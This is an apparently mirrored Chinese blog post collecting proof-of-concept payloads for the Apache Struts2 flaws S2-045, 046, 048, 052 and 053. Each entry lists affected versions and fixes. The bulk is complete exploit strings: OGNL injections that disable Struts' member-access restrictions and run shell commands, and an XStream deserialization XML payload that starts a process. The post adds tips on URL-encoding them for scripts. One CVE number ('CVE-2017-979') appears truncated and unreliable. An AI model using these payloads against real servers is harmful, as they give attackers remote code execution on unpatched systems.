zoukankan      html  css  js  c++  java
  • 【总结】Struts2系列漏洞POC小结

    #Struts2-045
    '''
    CVE-2017-5638
    影响范围:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10
    触发条件:基于Jakarta Multipart解析器上传文件时,可能会导致远程代码执行
    利用方法:构造Content-type的值
    测试POC:
    %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    修复建议:
    1. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。
    2. 如果您使用基于Jakarta插件,请升级到最新版本。(强烈推荐)
    '''
    
    
    #struts2-046
    '''
    CVE-2017-5638
    影响范围:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 –Struts 2.5.10
    测试POC:
    Content-Length:10000000
    filenname="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
    服务端返回500
    修复建议:
    1. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。
    2. 如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐)
    '''
    
    
    
    #Struts2-048 
    '''
    CVE-2017-979
    影响范围:Struts2 2.3.x
    触发条件:Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录
    触发参数:name
    测试POC:
    %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    注意:写脚本时需要将payload进行url编码(常识)
    修复建议:
    1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:
    messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));
    一定不要使用如下的方式
    messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));
    2、无奈解决方案:不启用struts2-struts1-plugin插件;
    3、根本解决方案:建议升级到最新版本
    '''
    
    
    #Struts2-052
    '''
    CVE-2017-9805
    影响范围:Struts 2.5 – Struts 2.5.12 
    漏洞描述:问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法,其中未对传入的值进行任何限制,在使用XStream反序列化转换成对象时,导致任意代码执行漏洞。
    利用条件:需要修改Content-Type: application/xml
    测试POC:
    <map>
    <entry>
    <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=”com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data”> <dataHandler> <dataSource class=”com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource”> <is class=”javax.crypto.CipherInputStream”> <cipher class=”javax.crypto.NullCipher”> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=”javax.imageio.spi.FilterIterator”> <iter class=”javax.imageio.spi.FilterIterator”> <iter class=”java.util.Collections$EmptyIterator”/> <next class=”java.lang.ProcessBuilder”> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=”javax.imageio.ImageIO$ContainsFilter”> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=”string”>foo</next> </serviceIterator> <lock/> </cipher> <input class=”java.lang.ProcessBuilder$NullInputStream”/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=”../jdk.nashorn.internal.objects.NativeString”/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/>
    </entry>
    </map>
    修复建议:
    1.建议尽快升级到最新版本;
    2.在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:
    <constant name=”struts.action.extension” value=”xhtml,,json” />
    '''
    
    
    #Struts2-053
    '''
    CVE-2017-12611
    影响范围:Struts2 2.0.1 – Struts2 2.3.33,Struts2 2.5 – Struts2 2.5.10
    当开发者在Freemarker标签中使用如下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker会将值当做表达式进行执行,最后导致代码执行。
    触发条件:struts2框架、freemarker标签中使用错误的构造
    测试POC:
    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
    注意:写脚本时需要将payload进行url编码(常识)
    修复建议:建议升级到最新版本
    '''
  • 相关阅读:
    大数据学习之大数据简介03
    大数据学习之Linux进阶02
    大数据学习之Linux基础01
    连接数据库出现java.sql.SQLException: Unknown system variable 'tx_isolation'
    Linux中伪分布的搭建
    【TCP/IP】入门学习笔记 三
    【TCP/IP】入门学习笔记 二
    【TCP/IP】入门学习笔记 一
    【CentOS】CentOS7 自动同步时间:服务ntp,命令ntpdate
    【Mysql】- pt-online-schema-change在线更新大表字段、加索引
  • 原文地址:https://www.cnblogs.com/peterpan0707007/p/9046119.html
Copyright © 2011-2022 走看看